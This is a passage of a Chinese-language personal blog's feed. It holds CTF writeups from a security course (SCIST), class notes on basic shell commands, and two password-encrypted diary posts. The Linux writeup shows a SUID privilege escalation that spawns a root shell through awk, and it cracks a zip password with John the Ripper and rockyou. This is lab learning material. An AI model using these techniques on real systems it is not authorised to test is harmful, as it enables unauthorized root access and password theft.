class="subst">&#123;s&#125;</span>&quot;</span>)</span><br><span class="line">    r.sendlineafter(<span class="string">b&#x27;answer : &#x27;</span>, <span class="built_in">str</span>(s).encode())</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(r.recvall().decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line"></span><br><span class="line">r.close() </span><br></pre></td></tr></table></figure><p>執行腳本後，程式會自動完成 100 次挑戰，最終回傳包含 Flag 的訊息。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hsctf&#123;You_got_the_highest_reward!&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;SCIST-Python-CTF-Writeup&quot;&gt;&lt;a href=&quot;#SCIST-Python-CTF-Writeup&quot; class=&quot;headerlink&quot; title=&quot;SCIST Python CTF - Writeup&quot;&gt;&lt;/a&gt;SCIST Python</summary>
      
    
    
    
    <category term="程式" scheme="https://blog.ldn970110.com/categories/%E7%A8%8B%E5%BC%8F/"/>
    
    
    <category term="筆記" scheme="https://blog.ldn970110.com/tags/%E7%AD%86%E8%A8%98/"/>
    
    <category term="資安" scheme="https://blog.ldn970110.com/tags/%E8%B3%87%E5%AE%89/"/>
    
    <category term="Python" scheme="https://blog.ldn970110.com/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title>人生重來機</title>
    <link href="https://blog.ldn970110.com/2025/11/04/live-reset-machine/"/>
    <id>https://blog.ldn970110.com/2025/11/04/live-reset-machine/</id>
    <published>2025-11-03T16:53:31.000Z</published>
    <updated>2026-03-06T04:32:38.000Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="b0880400a1713bf623f0d14e2b71688bbc36afedf4d22f5a34f28f13811416bd">d590bf272de23d07be93d730c0dbb672c25bbba657b75b5092da1d5118cec9b660a4cbc75b1a86f7ef42f0e56ef030e78dbe89190b480f4e4630e1c4ac05ef84981c283357f056e9730122e7e8c84c73d27f80231a69ec507955c9c62a3050c874752d8899b3b52cc2e7518de21de637c0e268f01fa8a35d5e2e3742f09bd6b441a339f63bd11c4c380684ab9c96eb5e17f31cfe045846ffacc38e40842769624012faba6047dc11b1a89480483e427c4762ac48ab9bd1cbec4b1575ccc8949fc8f5a241f1ea95aed8cf7cfc85e5eeb09520627ca4bfd6a830fa053bad31c7594f6132d131b376579489444640309bff426f2bed88a5041653c6831fb8189ca8f5da0cf30568e6edb43f5ca39692ad705f6783b63937d63b971567891908b11463bcddc5ce75d1e4792bb4e98666e1a1907fab2ccbae8ce6e6ab807dec78b6e73ba27980e87fee8ed120e68c171e8a2346982442786ae586d10440b01838e06bf94271a24164604d9d8107223fbbe3b61921e61097b6d1e4b953e226dcac8cbcb5e0fa5171bbfbaa6df8967575ff1bb277987ba0f1798e3e84fd807c06fd3ac5902993dd7d52a86942dfd40bb26d8aee008f5104c2d9c48a5d6f26cb3afa965d05c31774bc7c33a5f504530d4c48eebebf5cecbf39cd3a77de7f94c81db45c46aefdd92ed110556551c3c18808607e6306f409d64d27ed63ca646eaf60cda1ec33d250c33140a641e3594a894281a480c5c0d3e02697f33393b1f4df978c55428891017a804e4c0679503af3a5601e72712ce4ba4fa40a69fa6b0fee1205df26a53b1ebf6577d6f533be2be577887e3ba3acfdad40189ba3f1e9dbf99478b4548087792502328b8f98e17a81734281076e5e10f6c8d51a21f11cd670cafa3e2656165fe05cf396db29487c44828c55bd901c5e7f457c5744bfc148385b42acd75e0cbcb3a29a28b95e60cabf0922205970bc95014ef342f1bddb6602dd278b53f2818760284b5356a0e55fbe11127dea46ae74a012917ac5ac7effce26f7d7954341b23273ce06c88f04de89e388fd7d16e9e3135bd0e94765a3bb657c76658589684a69edcf28c683a7673a899bcb747669ca4b6871ee198b916b7ff180840aeed663dd5b025f2a3696d22eb938214dcd5f93b71e9ae4001326a62d0f98bcc00efa4b1a4614fbeff3362683224a29085812a135383e7f7f79bb6c1b62b687ba9b99de94b12fb67599db4e3b13f6d9106a0785c0046741ea9e1c827d2c8409c7f8a901785f1164fc5238094e701ed28c5258fc2399163aefcf13460e5eeace5b5c9fcd1239292c549ce554b1ce687ce6f55531efa2b5e65d83d91694b006a092f5e7e506fb059bd8465c1b38634dd59f46159ef65d638a21fce7bba7f9b066b81b2773d754723cd12fa2ce92434ff55d8162e708ccab0e19c154d80c841b89e0a1cacf454c7a2f2867c1c306641548e9a9015d3ab91a9a96bb2c5b94dd36f47344d16e96979c26119dbf5ef7dba939fbb6824151ffeedde9aaf1cca1e7f76623ff04d69370fa2c4e148d562ae9a17370ff57acc5e5060e62a12ad41a59ba28a4458189dcd3e6b804ba5c5172780ccf4984308b524ad0e70ffe02df1728913224be96107e23bd76916bf8fad87495428b1a9905fdb5ad770def623a7c6cb761f099f898378c7e05058f76336be16971da316b221b8d9fde632a9a5b8275b31454c7fc19df32711b7582ad48020e45e2b5f1a598a171156a6909d084938613624ccf9106fdcd4c63aacd47f488b70877d8054d117a8adc3ae33cf85a11186ca7f475394ba148de630ad995f241f3dc5c0d15d5542f627fa029c48bf488cfc9686989cc78c8bd58eaa76ac3f766f05ccc65bc7ba1f65e0e6fd51638bcea23e48dfc452de0c000f379559b3e2e91c10bfd765048a4e2719083e2630f43e70839bd1856e60b978a39197c8da24811408b68694979ede016710c2f502dd06d62c8ecdd17bee890c558494728827241b8e34cdf0dfbb0d0ea02be91d84e2ad52a301035a200de38bd056c561c300d7e9b5c16deb6cc5ac14e5338418e2836ead95ad334feace83ca5c234f4f3bca5b50539e90268af09568ba9f575ae630191805299a849e132b9175ba11d24d013d8f639d5f603381131448a0f749ac67fab184eec07dc5365e6fdeec8eee5cdc4a99b09fa7c</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="日常" scheme="https://blog.ldn970110.com/categories/%E6%97%A5%E5%B8%B8/"/>
    
    
    <category term="感想" scheme="https://blog.ldn970110.com/tags/%E6%84%9F%E6%83%B3/"/>
    
    <category term="回憶" scheme="https://blog.ldn970110.com/tags/%E5%9B%9E%E6%86%B6/"/>
    
  </entry>
  
  <entry>
    <title>SCIST Linux CTF - Writeup</title>
    <link href="https://blog.ldn970110.com/2025/10/25/scist-s6-1-hw/"/>
    <id>https://blog.ldn970110.com/2025/10/25/scist-s6-1-hw/</id>
    <published>2025-10-25T01:59:00.000Z</published>
    <updated>2026-03-04T05:58:20.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SCIST-Linux-CTF-Writeup"><a href="#SCIST-Linux-CTF-Writeup" class="headerlink" title="SCIST Linux CTF - Writeup"></a>SCIST Linux CTF - Writeup</h1><h2 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h2><h3 id="HW0-Use-rev-command-to-read-the-flag"><a href="#HW0-Use-rev-command-to-read-the-flag" class="headerlink" title="HW0 - Use rev command to read the &#x2F;flag"></a>HW0 - Use rev command to read the &#x2F;flag</h3><p>題目要求使用 rev 讀取靶機下的檔案，使用兩次 rev 獲得正確的 flag。</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(ldn970110㉿LDNsKali)-[~]</span><br><span class="line">└─$ nc 靶機</span><br><span class="line">=== Rev-Only Challenge ===</span><br><span class="line">Flag is <span class="keyword">in</span> /flag. Find a way to <span class="built_in">read</span> it.</span><br><span class="line">root@7d99e433d724:/$ rev /flag</span><br><span class="line">&#125;trats_egassem_siht_ver&#123;TSICS</span><br><span class="line">root@7d99e433d724:/$ rev /flag | rev</span><br><span class="line">SCIST&#123;rev_this_message_start&#125;</span><br><span class="line">root@7d99e433d724:/$ </span><br></pre></td></tr></table></figure><p><strong>Flag:</strong> <code>SCIST{rev_this_message_start}</code></p><hr><h3 id="HW1-SUID-privilege-escalation"><a href="#HW1-SUID-privilege-escalation" class="headerlink" title="HW1 - SUID privilege escalation"></a>HW1 - SUID privilege escalation</h3><p>連線靶機，獲得了一個低權限的 ctfuser shell：</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">ctfuser@80f752e94032:~$</span><br></pre></td></tr></table></figure><p>尋找系統上具有 SUID 權限的檔案：</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">ctfuser@80f752e94032:~$ find / -perm -u=s -<span class="built_in">type</span> f 2&gt;/dev/null</span><br><span class="line">/usr/bin/mount</span><br><span class="line">/usr/bin/gpasswd</span><br><span class="line">... (其他標準 SUID 檔案)</span><br><span class="line">/usr/bin/awkrunner</span><br></pre></td></tr></table></figure><p>跳出了一個提示：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Usage: /usr/bin/awkrunner [AWK_PROGRAM] [FILES...]</span><br><span class="line">Note:  Executes /usr/bin/awk with full root privileges.</span><br></pre></td></tr></table></figure><p>發現這個 awkrunner 會以 root 執行我所提供的腳本：</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">/usr/bin/awkrunner <span class="string">&#x27;BEGIN &#123; system(&quot;/bin/sh&quot;) &#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>執行後進入了一個具有 root 權限的 shell，透過這個 shell 執行 <code>/flag</code>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SCIST&#123;awk_1s_my_pr3f3rr3d_w4y_t0_r00t&#125;</span><br></pre></td></tr></table></figure><p><strong>Flag:</strong> <code>SCIST{awk_1s_my_pr3f3rr3d_w4y_t0_r00t}</code></p><hr><h3 id="HW2-zip-密碼破解"><a href="#HW2-zip-密碼破解" class="headerlink" title="HW2 - zip 密碼破解"></a>HW2 - zip 密碼破解</h3><p>題目提供一個加密的 SCIST.zip 檔案，提示密碼存在於 rockyou.txt 字典檔中。Flag 藏在解壓縮後的 PDF 檔案的「作者 (Author)」欄位，並使用 Base64 加密。</p><p>使用 John the Ripper 來破解密碼：</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(ldn970110㉿LDNsKali)-[~/文件]</span><br><span class="line">└─$ zip2john /home/ldn970110/文件/SCIST.zip &gt; /home/ldn970110/文件/scist.hash</span><br></pre></td></tr></table></figure><p>接著使用 john 搭配 rockyou.txt 字典檔來破解這個 hash：</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(ldn970110㉿LDNsKali)-[~/文件]</span><br><span class="line">└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash</span><br><span class="line">Using default input encoding: UTF-8</span><br><span class="line">Loaded 1 password <span class="built_in">hash</span> (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])</span><br><span class="line">No password hashes left to crack (see FAQ)</span><br><span class="line">┌──(ldn970110㉿LDNsKali)-[~/文件]</span><br><span class="line">└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash</span><br><span class="line">Using default input encoding: UTF-8</span><br><span class="line">Loaded 1 password <span class="built_in">hash</span> (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])</span><br><span class="line">Cost 1 (HMAC size) is 114987 <span class="keyword">for</span> all loaded hashes</span><br><span class="line">Will run 16 OpenMP threads</span><br><span class="line">Press <span class="string">&#x27;q&#x27;</span> or Ctrl-C to abort, almost any other key <span class="keyword">for</span> status</span><br><span class="line">0g 0:00:00:05 4.17% (ETA: 16:12:22) 0g/s 125068p/s 125068c/s 125068C/s grass9..blah2007</span><br><span class="line">... (破解中) ...</span><br><span class="line">0g 0:00:00:13 10.48% (ETA: 16:12:27) 0g/s 124215p/s 124215c/s 124215C/s karenkim..jhvguyh</span><br><span class="line">fascist        (SCIST.zip/SCIST.pdf)     </span><br><span class="line">1g 0:00:00:14 DONE (2025-10-28 16:10) 0.06747g/s 123819p/s 123819c/s 123819C/s fish2133..efer05</span><br><span class="line">Use the <span class="string">&quot;--show&quot;</span> option to display all of the cracked passwords reliably</span><br><span class="line">Session completed.</span><br></pre></td></tr></table></figure><p>John 成功找到了密碼：<strong>fascist</strong></p><p>使用密碼解壓或的一個PDF，在作者欄位發現一串亂碼，透過base64解碼得到falg</p><figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(ldn970110㉿LDNsKali)-[~/文件]</span><br><span class="line">└─$ <span class="built_in">echo</span> -n <span class="string">&quot;U0NJU1R7ejFwX2NyNGNrM2RfbTN0YV9sM2FrfQ==&quot;</span> | <span class="built_in">base64</span> -d</span><br><span class="line">SCIST&#123;z1p_cr4ck3d_m3ta_l3ak&#125;</span><br></pre></td></tr></table></figure><p><strong>Flag:</strong> <code>SCIST{z1p_cr4ck3d_m3ta_l3ak}</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;SCIST-Linux-CTF-Writeup&quot;&gt;&lt;a href=&quot;#SCIST-Linux-CTF-Writeup&quot; class=&quot;headerlink&quot; title=&quot;SCIST Linux CTF - Writeup&quot;&gt;&lt;/a&gt;SCIST Linux CTF</summary>
      
    
    
    
    <category term="程式" scheme="https://blog.ldn970110.com/categories/%E7%A8%8B%E5%BC%8F/"/>
    
    
    <category term="筆記" scheme="https://blog.ldn970110.com/tags/%E7%AD%86%E8%A8%98/"/>
    
    <category term="資安" scheme="https://blog.ldn970110.com/tags/%E8%B3%87%E5%AE%89/"/>
    
    <category term="Linux" scheme="https://blog.ldn970110.com/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>scist s6 資安筆記</title>
    <link href="https://blog.ldn970110.com/2025/10/25/scist-s6-1/"/>
    <id>https://blog.ldn970110.com/2025/10/25/scist-s6-1/</id>
    <published>2025-10-25T01:59:00.000Z</published>
    <updated>2026-03-04T05:58:20.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="開頭"><a href="#開頭" class="headerlink" title="開頭"></a>開頭</h2><p>紀錄一下，第一次上資安課有點緊張(?)<br>希望之後能交到朋友，一起去打比賽(該發祭品了)<br>然後gpt剛到期了，等去成大上機考前再續(前提是我能去)<br><del>vscode括號沒關會被標記紅色，好煩</del></p><h2 id="筆記"><a href="#筆記" class="headerlink" title="筆記"></a>筆記</h2><p>剛講到了zeroday，這是一個可以上傳你發現的漏洞的網站，也許之後會有用紀錄一下<br>開始講CTF是什麼，這讓我想到去年我天真的想在資安0基礎的情況下準備一堂CTF社課(所以我把鳳新電研社放黑歷史)<br>講到flag格式，<del>沒聽懂</del>，之後應該就熟悉了(吧)。<br>Jeopardy怎麼念<br><del>OsGa英文真好</del><br>還有一個半小時才下課但我水快喝完了，完蛋<br>雖然還有飲料可以喝但我不喜歡喝飲料阿<br>有人把自己的discord bot token丟到github上<br>然後怎麼有人在課堂上鞭屍阿，嚴厲譴責<br>這就不得提到我把我的arch內核搞爆了然後我修不好最後整個洗掉到現在還沒重裝<br>什麼年代了我還能聽到熊貓燒香這個東西…<br>講了<code>root</code>跟<code>sudo</code>，<code>sudo</code>就是一個有授權的使用者使用<code>sudo</code>暫時借用<code>root</code>的權限來做事，比較安全且可以追溯是誰幹了哪件事</p><h1 id="GUI-vs-CLI"><a href="#GUI-vs-CLI" class="headerlink" title="GUI vs CLI"></a>GUI vs CLI</h1><p>圖形化介面vs文字輸入介面，圖形介面易用但太慢，對開發者CLI快速且易用(但我菜雞沒有GUI我怎麼活阿)</p><h1 id="shell"><a href="#shell" class="headerlink" title="shell"></a>shell</h1><p>shell就是使用者與作業系統交互的介面<br>shell可以做很多事(整活)<br>開始講指令(<code>ls</code>, <code>cd</code>, <code>mkdir</code>, <code>touch</code>, <code>cat</code>, <code>adduser</code>, <code>deluser</code>)<br>OsGa:<del>要期中考了自己的心比外面的天氣還涼</del><br>依序執行多個指令:<code>ls; pwd; whoami</code> (用<code>;</code>)<br>一個一個一個(?)執行下去，但前面的成功才執行下一個:<code>mkdir test &amp;&amp; cd test</code> (用<code>&amp;&amp;</code>)<br>前一個指令失敗時才執行下一個:<code>make || echo &quot;Build failed&quot;</code> (用<code>||</code>)<br>管道(<code>|</code>)將前一個指令的輸出傳給下一個:<code>cat file | grep &quot;keyword&quot;</code></p><p>好多東西我直接複製貼上</p><ul><li><code>*</code> 匹配任意多個字元（萬用字元）</li><li><code>?</code> 匹配單一字元</li><li><code>~</code> 使用者家目錄（home directory）</li><li><code>$</code> 變數標示，例如 <code>$USER</code>, <code>$PATH</code></li><li><code>#</code> 註解符號（在指令或腳本中忽略該行內容）</li><li><code>\</code> 轉義字元，用來避免符號被解讀</li><li><code>&amp;</code> 將指令放到背景執行 例:<code>python app.py &amp;</code></li></ul><p>講了<code>nano</code>跟<code>vim</code>，反正就是趕緊地去學<code>vim</code>，下次就把你<code>nano</code> ban了</p><p>寫了一題，反正就是<code>cat</code>好像被ban了要你用<code>rev</code>去讀檔案然後在<code>rev</code>回來</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rev /flag | rev</span><br></pre></td></tr></table></figure><p>講了一大堆工具，現在4:57他在飆車完全沒聽懂</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;開頭&quot;&gt;&lt;a href=&quot;#開頭&quot; class=&quot;headerlink&quot; title=&quot;開頭&quot;&gt;&lt;/a&gt;開頭&lt;/h2&gt;&lt;p&gt;紀錄一下，第一次上資安課有點緊張(?)&lt;br&gt;希望之後能交到朋友，一起去打比賽(該發祭品了)&lt;br&gt;然後gpt剛到期了，等去成大上機考前再續</summary>
      
    
    
    
    <category term="程式" scheme="https://blog.ldn970110.com/categories/%E7%A8%8B%E5%BC%8F/"/>
    
    
    <category term="筆記" scheme="https://blog.ldn970110.com/tags/%E7%AD%86%E8%A8%98/"/>
    
    <category term="資安" scheme="https://blog.ldn970110.com/tags/%E8%B3%87%E5%AE%89/"/>
    
    <category term="Linux" scheme="https://blog.ldn970110.com/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>maybe a good night</title>
    <link href="https://blog.ldn970110.com/2025/10/21/hello-world/"/>
    <id>https://blog.ldn970110.com/2025/10/21/hello-world/</id>
    <published>2025-10-20T16:53:31.000Z</published>
    <updated>2026-03-06T04:32:38.000Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="44f6447677b0bdef422320181435faebd67b438e91c592f4099e5e99f73c8cff">d590bf272de23d07be93d730c0dbb6729edf7f6664651e6e8b614ac11279fd49356c6204480087b161a9c61b29b4b93207ae70a7b54b8b81ea46531e08547b3d69681a6b0a19831642cde5a8a188b337e54317be8ec9b0390ed1699bb7d63f20f0950e2183d0357cae9e5fd918a4f08ec4eca7b26b638f47f8692bfb2333290f28df8d6fe34b9da44cca769822ec21ef2c8591d4e74eef5ff3cca3b4beed3891eb2735f129470b6c696f05bae660e96c6478e6a8e7889f517131c2d8fe451aa4fe6de636f498c32876dd80acf85cd5175d24aa4f6510085340645529888c17bbe5c641728f1702a6fafa5ebedd8cbb22c748cf94a0731b7be479ab6d351358b48164e3d8c0e554231bfdcd18e9112bf49a54a0c1555cd3fc48838754821cb2e951ca53872f23175d4dabc97a1e3be36b90c91c417f52b2fbb953d918a90cc566bd48c7ecd1c898efe1a99efd94f61cf9f6dbdc748b9ad65a45a320176780303bab47f5a44d56e7b9e39a317b3a71ba61003a514a5b06a52421f5c773e7b3c952018dc4850c4042a731da055a346eb3dee5577c816fb365313badf903978d0e226758359dcdbd60ed045716719562a883fb9f85cdf1e218784c3cda79b5fe646b64c1efab230eb078b734890af27a40af24966f27d0fba234e7abf75fd5c6fd2fc9fbc01b9b89c605633368b658ffe4e075ab84f4b1bf37d17cd567478e042bfcbe2290ec043a5236ad22cb1a7ca84b5845e55c1f8afaa10f77d40f3b3305ac7d675a2416fe4559bbce1c43df87e579e50e7039735052ee87df259c92a70447a6532da8b22d7c99442255d85ea34ed1774322576f8bb8ef57963638330ff514e77a05b2e7540bd0c25e574b27176a2ae47cf4e2ea004a3b6069f7597f077f5ff3d6efaa10cb3d016f96641879186ed3ef903984f67fc39937f1b142b76c4d4e0e52620fa0b6ae69aef32140dd8585f2ce4164622665b9dd34f31f122dc4905ee2173ccb6154b0a2d434d839973acd9f6729aa019efa48459af3357151fbe2079a5a1d6c0a6fedf0bfce39ce04969ea70d1358b5cc2ee39d1078ec62a8c57ac2797590e5c70e53236312b7a5f901c8696af501126e42cd0b840b9116c5ff885e694c9ab2eb3034f628a3df8ec1fc0f40bc227133630737214a121ceb5f1966673bf657ca9379aef9aa3730e3c9d0a1def517a8a326a6302481c50460c39b5f86df0dd71678849055c162d0ad36c4a6b0a6706b0af9c8ae3fbb3f7574ca301ec92238727191213821a6600ab85fd0645a3ac3ce2f634c5c4a35020b8d14b5e39a6bb7405bbbc108dcf74ef2c059f3a1edfdf36af25d5f8b438cb3ee1e0dfaeab9e370c859ee5b422ed7f94bbfb9e36a51f63f46a1697305a768bc59a5d2a4edc362b07b59604b88e930aab34dc7459352e4ab67a31b92a30ba584fd6ae1bc53cc84b73c6c68f49b5097bffb371e21d596d0497b43950273fc465e3aa8eae19af54f204a290b24057d5849ae71b5488dd99d0086462cf14d23dea9f3827998d60a1b4366ea7547045e3a7187960371fc17a9ab0dea45b8cdc8002eacf294aad441c8ff1be5d4226aeedd07809d8a74cc987e25cd15de19b6dd890fcb5ec37677c3c37394f2ef61f3add460262111b239aa48f43b28069fc86d6aec28f47e83172a55553cab5dcf321de45ad99638586bdc5aab8dd4fc4db76848c1bc2bb21f587692263b0e03ee65ee8de63ac908330a1bdc815f12894273f9615afd7fd1925ab7c0a150ea00b50f25f079ab590b50cc162c958532dbb70fed01634b142687114bb8f11936ec3d2e2141cb4cfd8d7bae8eb753860e6c78a498310d4f6702e4a35199642cee8cb6a91033242dce49c10487c7f9d6d2032f03f6c90701e20e1c5eafa5f4ed4ad56116e74b26983d8c9eda126a0942727b78ab704f181ab5cc81c195e83b1947800d3d3fa390665e3f54e0d2ffff7e3325c837054d79a2b9752025a7a70ab39b629ed605d7caecf38c371b996c7e8626393d707b4499c67003183c006cc8d679fba82a10fdd2eb5ee705e90821f14a02d20f1acec5bdce7fa00c830b5ffc5894ff88e129efc4caeb01d7df721275d1c5045777a8156308b834da3d74094cc991871b54a7eabdef6fe58890f48c6a63dd5d98369baf299636112a43d361055f0fd2129c1cd962dd554e3f3228c960f04e91d15772d2ec8b251f31bcd4adf1babc3e901555ca3e00546de60797ba36c64273aca5fc3035f72445cd89a87d94660b903cf10a8bef0d07dbb8709a06812a99fa237d62a9b6451ceb770924f3a14593e25a0153c0ef2738c9bdf1f8f65d4a54f09ce7e3d68c67355397be1005d6a42b098edf8a5f28e09ef0fef597595b7673ed76453150719f5e6b588004fb2c8c2753c73bbdee4d063327d527dc8c6183dd7a0969aba7c42d1d651b484592d107eda0e35e75ab3b3477c877571ee9babb3d7d7884e93bd9f36755170d5d6d675f892bd4c9d6a358d496852f0aaaa5ec1edd377465695c6683d0b5f248079277955d3fb561a1f564bab39ec7f7771114ebc4e758bcb67705868759f944109b3dbf5aee714e72fdc72c924bddcebdc72181b51033db20e3658ba5ca61ce31cea9e32c450c0fb3929aba880a4b45b8ead096fbc94497e14cdb3a420831457fe1eeb9c5604cd77fcf770e5867e4abc6960fe4af866731aa018880c22f6b09a3360e4aadde91e16adba484ecd3853f234ebeb0b641cb5e18556cc750fd05016f98bbcca5f8d07b762f3a032d74a873e6484daf4d144210516e4468d874f3784f78e460bd595e5ffdab912b10d8f5b7be70cb03c8d58753318af773e5288669abf1120cfd2600e4195c1a30cafeb65ebf6889dd9db28f3e1524f113325541b4c12ab1682514e4813fe66b74aa285414a11f6232506f84f87cc1199c6d0328138a179b0d87d9494feb8589c0d11fe41679eb88ee3502ae5152fcf41d7cf9e8d3c72d8c6d24b5f9fbb4fac3bb78a2036f2880</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="日常" scheme="https://blog.ldn970110.com/categories/%E6%97%A5%E5%B8%B8/"/>
    
    
    <category term="心得" scheme="https://blog.ldn970110.com/tags/%E5%BF%83%E5%BE%97/"/>
    
    <category term="紀錄" scheme="https://blog.ldn970110.com/tags/%E7%B4%80%E9%8C%84/"/>
    
  </entry>
  
</feed>
